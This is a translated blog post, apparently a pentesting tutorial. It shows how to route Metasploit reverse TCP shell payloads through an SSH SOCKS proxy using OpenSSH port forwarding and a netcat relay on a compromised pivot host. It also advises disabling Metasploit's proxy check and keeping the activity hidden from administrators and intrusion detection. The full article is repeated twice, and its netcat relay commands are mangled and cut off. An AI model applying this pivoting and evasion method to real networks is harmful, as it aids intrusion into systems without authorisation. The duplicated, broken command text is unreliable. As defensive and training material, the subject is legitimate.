February 1, 2013 at 13:05Using ssh socks proxy with MSF Reverse TCP Payloads
This free translation was motivated by the need for a personal understanding of the subject after reading a number of posts that started here , thanks to the levinkv habruiser
Using ssh socks proxies in conjunction with MSF Reverse TCP Payloads
Sometimes pentesters need to redirect their network traffic through various proxies to gain access to private networks , to bypass firewalls, or to hide their tracks. To solve such problems, specialists have a whole arsenal of heterogeneous tunneling and traffic forwarding capabilities to work in various network architectures during testing. Each case of such work definitely depends on the services running on the proxy server and the level of access to these services.
One of my favorite cases (like many others) is working with OpenSSH Socks proxies . Remote ssh proxy allows you to redirect traffic through an ssh tunnel in various ways. Nevertheless, there is a major drawback in the case of socks proxies - you cannot use the existing reverse tcp payloads that come with the Metasploit framework (and many other similar tools). However, this is not entirely true . It is possible to enable some OpenSSH features in order to circumvent restrictions when using ssh redirection.
Many will say that there are tons of alternatives for tcp reverse payloads such as PHP, Java, HTTP, DNS, etc. This is true, but most of them depend on the specific application and are not stable under certain circumstances. In addition, these alternatives are not always applicable due to some operational limitations.
Others will report that the Metasploit meterpreter (framework routes + port forward ) functions can be used to redirect traffic through regular proxies, avoiding the use of socks. The disadvantage of this method is the lack of stability of meterpreter payload for Linux proxies (at least at the time of writing the post).
Now that you are convinced that under certain circumstances the use of socks proxies is the only stable option, let's see what we can change in the limitations of the reverse TCP connection.
When reverse tcp payload is used, the victim’s computer tries to connect with the attacker's ip address. If SSH Socks proxy is used, then the victim's computer uses the proxy ip address as the attacker's IP address. Therefore, reverse TCP payload will try to connect to the proxy, and not to the attacker. Metasploit framework perfectly solves this problem when socks proxy is used with reverse TCP payload.
The main idea for circumventing this kind of restriction is to use a proxy forwarding mechanism to deliver packets to the correct address when connecting back from the proxy. The presented method is possible when the following conditions are met:
1. The ability to ssh connect to the proxy (regular user or administrator, each case is examined separately)
2. The proxy has at least one unused open port
3. The proxy has the ability to connect to the victim's computer.
For the rest of this article, the following network topology will be used:
First, establish an ssh socks proxy connection and verify it through proxychains :
SSH socks proxy works and we can use it to access the victim's computer:
Now, if we try to use our Socks proxy with TCP payload, Metasploit may show this error:
Port forwarding features in OpenSSH will help us bypass this obstacle. Two options will be covered depending on the attacker's access level to proxy services:
1. Administrative access: OpenSSH configuration changes and use of all forwarding features
2. User access: Using local OpenSSH port forwarding to organize a second ssh tunnel
For those who are not familiar with local and remote SSH port forwarding are recommended for reading the links at the end of the post.
Before continuing, let's turn off the reverse TCP socks proxy check in metasploit to test all of these cases. Fortunately for us, the modular architecture of metasploit makes it easy to implement this feature. You just need to comment out lines 68-70 in "lib / msf / core / handler / reverse_tcp.rb"
1. Administrative access to the Proxy
Remote port forwarding in OpenSSH uses redirection of network traffic from port 4444 to the proxy to port 53 of the attacker. As the OpenSSH manual mentions, a connection with remote forwarding will connect the proxy port (4444 in our case) with the same port on the local host. A binding on the localhost will block incoming connections from the victim. So we must have administrator rights to change the sshd configuration and enable the GatewayPorts option .
When payload works, then the network will look like this:
To continue, let's check that everything works with netcat:
If you use a local address instead of the attacker's IP address, then such a tunnel will work like a clock (and this is not surprising), although the Metasploit session manager will not be able to identify the connections and will stop working. Some (optional) tcpdump studies may clarify how such redirects work.
After making sure that our proxy is working correctly, let's move on to Metasploit. We will generate linux x86 reverse TCP stagged shell payload and upload it to the victim’s computer. To run payload, we use a PHP script, placing it in the directory with Web pages for the Apache server. In the process of generating payload, the following data was used: LHOST was defined as a proxy address, like LPORT (4444 in this example), to which it is redirected to the attacker through a proxy.
In the end, let's run payload using an additional module (single GET request) and establish a connection through socks proxies:
2. User access to the Proxy
User access to the proxy means that we cannot set the GatewayPorts option in sshd settings. So we have to find another way to implement call forwarding. In this case, we use the option for local forwarding (-L) and create a second tunnel to the localhost from the proxy side. The -g flag is used to bind the socket to 0.0.0.0 allowing incoming connections other than the localhost.
Consequently, the reverse connection will take the following form:
Normal netcat check before using Metasploit:
Finally, the socks proxy also successfully works with reverse TCP payloads:
Mission complete! We managed to use reverse TCP payloads with ssh Socks proxies and use various OpenSSH functions. Of course, someone can forward ports to proxies in various other ways (iptables, third-party tools, etc.). OpenSSH was chosen because work with ssh Socks proxies is already available in it and often this work is invisible to the system administrator, while other tools can signal their work (and of course, working with iptables is not possible with a user access level) .
It would be ideal if the methods described above were somehow implemented in the Metasploit Framework, making it possible to use reverse TCP payloads in various socks proxy scripts.
Links:
www.linuxhorizon.ro/ssh-tunnel.html
www.opennet.ru/base/sec/ssh_tunnel.txt.html
www.fedora.md/wiki/%D0%92%D1%81%D0%B5_%D1%87%D1%82%D0%BE_%D0% 92% D1% 8B_% D1% 85% D0% BE% D1% 82% D0% B5% D0% BB% D0% B8_% D0% B7% D0% BD% D0% B0% D1% 82% D1% 8C_% % BE_SSH the D0
www.metasploit.com
seclists.org/metasploit/2009/q2/143
www.offensive-security.com/metasploit-unleashed/Metasploit_Meterpreter_Basics
www.offensive-security.com/metasploit-unleashed/Pivoting
A. The Bechtsoudis
- { Update 11 June 2012} -
Port forwarding from a proxy to an attacker can also be easily arranged using netcat. Be careful when using netcat, as its operation may be alarming in some intrusion detection systems. To establish a hidden connection, try to create encrypted channels with proxies (ncat, netcat stunnel, etc.).
root @ proxy: ~ # mkfifo pipe
root @ proxy: ~ # nc -nvlp 4444 0pipe
Original by reference .
Using ssh socks proxies in conjunction with MSF Reverse TCP Payloads
Sometimes pentesters need to redirect their network traffic through various proxies to gain access to private networks , to bypass firewalls, or to hide their tracks. To solve such problems, specialists have a whole arsenal of heterogeneous tunneling and traffic forwarding capabilities to work in various network architectures during testing. Each case of such work definitely depends on the services running on the proxy server and the level of access to these services.
One of my favorite cases (like many others) is working with OpenSSH Socks proxies . Remote ssh proxy allows you to redirect traffic through an ssh tunnel in various ways. Nevertheless, there is a major drawback in the case of socks proxies - you cannot use the existing reverse tcp payloads that come with the Metasploit framework (and many other similar tools). However, this is not entirely true . It is possible to enable some OpenSSH features in order to circumvent restrictions when using ssh redirection.
Many will say that there are tons of alternatives for tcp reverse payloads such as PHP, Java, HTTP, DNS, etc. This is true, but most of them depend on the specific application and are not stable under certain circumstances. In addition, these alternatives are not always applicable due to some operational limitations.
Others will report that the Metasploit meterpreter (framework routes + port forward ) functions can be used to redirect traffic through regular proxies, avoiding the use of socks. The disadvantage of this method is the lack of stability of meterpreter payload for Linux proxies (at least at the time of writing the post).
Now that you are convinced that under certain circumstances the use of socks proxies is the only stable option, let's see what we can change in the limitations of the reverse TCP connection.
When reverse tcp payload is used, the victim’s computer tries to connect with the attacker's ip address. If SSH Socks proxy is used, then the victim's computer uses the proxy ip address as the attacker's IP address. Therefore, reverse TCP payload will try to connect to the proxy, and not to the attacker. Metasploit framework perfectly solves this problem when socks proxy is used with reverse TCP payload.
The main idea for circumventing this kind of restriction is to use a proxy forwarding mechanism to deliver packets to the correct address when connecting back from the proxy. The presented method is possible when the following conditions are met:
1. The ability to ssh connect to the proxy (regular user or administrator, each case is examined separately)
2. The proxy has at least one unused open port
3. The proxy has the ability to connect to the victim's computer.
For the rest of this article, the following network topology will be used:
First, establish an ssh socks proxy connection and verify it through proxychains :
SSH socks proxy works and we can use it to access the victim's computer:
Now, if we try to use our Socks proxy with TCP payload, Metasploit may show this error:
Port forwarding features in OpenSSH will help us bypass this obstacle. Two options will be covered depending on the attacker's access level to proxy services:
1. Administrative access: OpenSSH configuration changes and use of all forwarding features
2. User access: Using local OpenSSH port forwarding to organize a second ssh tunnel
For those who are not familiar with local and remote SSH port forwarding are recommended for reading the links at the end of the post.
Before continuing, let's turn off the reverse TCP socks proxy check in metasploit to test all of these cases. Fortunately for us, the modular architecture of metasploit makes it easy to implement this feature. You just need to comment out lines 68-70 in "lib / msf / core / handler / reverse_tcp.rb"
1. Administrative access to the Proxy
Remote port forwarding in OpenSSH uses redirection of network traffic from port 4444 to the proxy to port 53 of the attacker. As the OpenSSH manual mentions, a connection with remote forwarding will connect the proxy port (4444 in our case) with the same port on the local host. A binding on the localhost will block incoming connections from the victim. So we must have administrator rights to change the sshd configuration and enable the GatewayPorts option .
When payload works, then the network will look like this:
To continue, let's check that everything works with netcat:
If you use a local address instead of the attacker's IP address, then such a tunnel will work like a clock (and this is not surprising), although the Metasploit session manager will not be able to identify the connections and will stop working. Some (optional) tcpdump studies may clarify how such redirects work.
After making sure that our proxy is working correctly, let's move on to Metasploit. We will generate linux x86 reverse TCP stagged shell payload and upload it to the victim’s computer. To run payload, we use a PHP script, placing it in the directory with Web pages for the Apache server. In the process of generating payload, the following data was used: LHOST was defined as a proxy address, like LPORT (4444 in this example), to which it is redirected to the attacker through a proxy.
In the end, let's run payload using an additional module (single GET request) and establish a connection through socks proxies:
2. User access to the Proxy
User access to the proxy means that we cannot set the GatewayPorts option in sshd settings. So we have to find another way to implement call forwarding. In this case, we use the option for local forwarding (-L) and create a second tunnel to the localhost from the proxy side. The -g flag is used to bind the socket to 0.0.0.0 allowing incoming connections other than the localhost.
Consequently, the reverse connection will take the following form:
Normal netcat check before using Metasploit:
Finally, the socks proxy also successfully works with reverse TCP payloads:
Mission complete! We managed to use reverse TCP payloads with ssh Socks proxies and use various OpenSSH functions. Of course, someone can forward ports to proxies in various other ways (iptables, third-party tools, etc.). OpenSSH was chosen because work with ssh Socks proxies is already available in it and often this work is invisible to the system administrator, while other tools can signal their work (and of course, working with iptables is not possible with a user access level) .
It would be ideal if the methods described above were somehow implemented in the Metasploit Framework, making it possible to use reverse TCP payloads in various socks proxy scripts.
Links:
www.linuxhorizon.ro/ssh-tunnel.html
www.opennet.ru/base/sec/ssh_tunnel.txt.html
www.fedora.md/wiki/%D0%92%D1%81%D0%B5_%D1%87%D1%82%D0%BE_%D0% 92% D1% 8B_% D1% 85% D0% BE% D1% 82% D0% B5% D0% BB% D0% B8_% D0% B7% D0% BD% D0% B0% D1% 82% D1% 8C_% % BE_SSH the D0
www.metasploit.com
seclists.org/metasploit/2009/q2/143
www.offensive-security.com/metasploit-unleashed/Metasploit_Meterpreter_Basics
www.offensive-security.com/metasploit-unleashed/Pivoting
A. The Bechtsoudis
- { Update 11 June 2012} -
Port forwarding from a proxy to an attacker can also be easily arranged using netcat. Be careful when using netcat, as its operation may be alarming in some intrusion detection systems. To establish a hidden connection, try to create encrypted channels with proxies (ncat, netcat stunnel, etc.).
root @ proxy: ~ # mkfifo pipe
root @ proxy: ~ # nc -nvlp 4444 0
Original by reference .
